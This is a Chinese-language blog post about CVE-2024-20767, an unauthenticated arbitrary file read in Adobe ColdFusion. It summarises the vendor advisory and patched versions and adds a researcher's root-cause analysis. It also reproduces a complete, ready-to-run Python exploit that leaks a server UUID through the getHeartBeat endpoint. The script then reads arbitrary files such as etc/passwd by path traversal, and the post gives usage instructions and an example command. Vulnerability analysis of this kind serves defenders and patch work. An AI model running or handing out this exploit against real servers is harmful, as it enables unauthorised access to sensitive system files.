Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

CVE-2024-20767漏洞描述

adobe ColdFusion 版本 2023.6、2021.12 及更早版本受到不当访问控制漏洞的影响,该漏洞可能导致任意系统文件读取。攻击者可以利用此漏洞绕过安全措施并获得对敏感文件的未经授权的访问并执行任意文件系统写入。

利用此漏洞不需要用户交互。

受影响的版本

产品更新数量平台
ColdFusion 2023更新6及更早版本
  
全部
ColdFusion 2021更新12及更早版本全部

解决方案

Adobe 按以下优先级对这些更新进行分类 ,并建议用户将其安装更新到最新版本:

产品更新后的版本平台优先级可用性
ColdFusion 2023更新7全部3技术说明
ColdFusion 2021更新13全部3技术说明

漏洞详情

漏洞类别漏洞影响严重性CVSS 基础分数 CVSS矢量CVE 编号
访问控制不当 ( CWE-284 )任意文件系统读取严重8.2CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:NCVE-2024-20767

CVE-2024-20767 POC

https://github.com/yoryio/CVE-2024-20767

CVE-2024-20767.py

import requests
import re
import urllib3
import argparse

urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target Adobe ColdFusion Server URL")
parser.add_argument("-p", "--port",required=False, default=8500, help="Target Adobe ColdFusion Server Port, by default we use the 8500 Port")
parser.add_argument("-c", "--command", required=True,help="File to read path") # Example in Windows Server 'Windows/ServerStandardEval.xml' or Linux Server "etc/passwd"
args = parser.parse_args()

def get_uuid():
    endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat" # Vulnerable endpoint to get the UUID
    session = requests.Session()
    try:
        response = session.get(args.target+":"+str(args.port)+endpoint, verify=False)
        print("[+] Connecting to ColdFusion Server...")
        repattern = r"<var name='uuid'><string>(.+?)</string></var>" # Regex expression to get UUID
        uuid = re.findall(repattern, response.text)[0]
        print("[+] UUID Obtained: ", uuid)
        return uuid
    except:
        print("[-] Error connecting to server")

def exploit(uuid):
    headers = {
        "uuid": uuid
    }
    session = requests.Session()
    endpoint2 = "/pms?module=logging&file_name=../../../../../../../"+args.command+"&number_of_lines=100" # Vulnerable endpoint to read files
    response = session.get(args.target+":"+str(args.port)+endpoint2, verify=False, headers=headers)
    if response.status_code == 200 and int(response.headers["Content-Length"]) > 2:
        print("[+] Succesfully read file!")
        print(response.text)
    else:
        print("[-] Something went wrong while reading file or the file doesn't exist")

if __name__ == "__main__":
    exploit(get_uuid())

用法

用法:CVE-2024-20767.py [-h] -t 目标 [-p 端口] -c 命令

选项:
  -h, --help            显示此帮助消息并退出
  -t TARGET, --target TARGET
                        目标 Adobe ColdFusion 服务器 URL
  -p PORT, --port PORT  目标 Adobe ColdFusion 服务器端口,默认使用 8500 端口
  -c COMMAND, --command 命令
                        读取文件的路径

使用示例

python CVE-2024-20767.py -t http://192.168.124.203 -p 8500 -c Windows/ServerStandardEval.xml

adobe安全公告

https://helpx.adobe.com/security

漏洞分析

https://jeva.cc/2973.html

过年的时候挖的,目前已经发布修复补丁。
CVE: CVE-2024-20767
Ref: https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html

/CFIDE/adminapi/_servermanager/servermanager.cfc其实是一个多个字节码文件合在一起的文件,所以可以用CAFEBABE将其分割为多个字节码文件。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

其中有一个getHeartBeat类继承了UDFMethod,并且getAccess方法返回3,这是能够未授权访问的关键。
web.xml里面定义了.cfc后缀的路由,具体的流程不再分析,主要是在ComponentFilter类里面,大概就是解析这个cfc文件为字节码文件,然后可以指定不同的method来调用不同类的runFunction方法。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc
Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc
Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

在调用之前会检查一遍权限,可以看到如果从字节码中解析出来的access为3的话就不会进行任何拦截,刚好上面的getHeartBeat类的access就为3,这就造成了未授权访问。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

可以看到getHeartBeat类中runFunction方法里面的代码,调用了MonitoringService的getHeartBeat方法,事实上就是调用了继承了coldfusion.server.MonitoringService接口的类coldfusion.monitor.module.MonitoringServiceImpl的getHeartBeat方法,但很奇葩的是这个方法居然把coldfusion.monitor.Configuration的UUID给输出出来了。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

这个UUID有什么用呢,PMSGenericServlet这个servlet里面用到了。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc
Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc
Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

可以看到如果需要访问这个servlet需要验证头部中的uuid是否和枚举类Configuration中的 UUID一致,通过上面拿到的UUID就可以访问到这个servlet

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

这个servlet里面危害稍微大一点的就是当module为logging时候的任意文件读取:

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

或者为heap_dump时候可以下载heapdump

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

有意思的是这里username参数可控,filename可以被00截断,不过目前没有想到当heapdump的文件位置和文件名完全可控的时候rce的姿势。

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc
Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

留图纪念

Adobe ColdFusion任意文件读取漏洞 CVE-2024-20767 poc

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注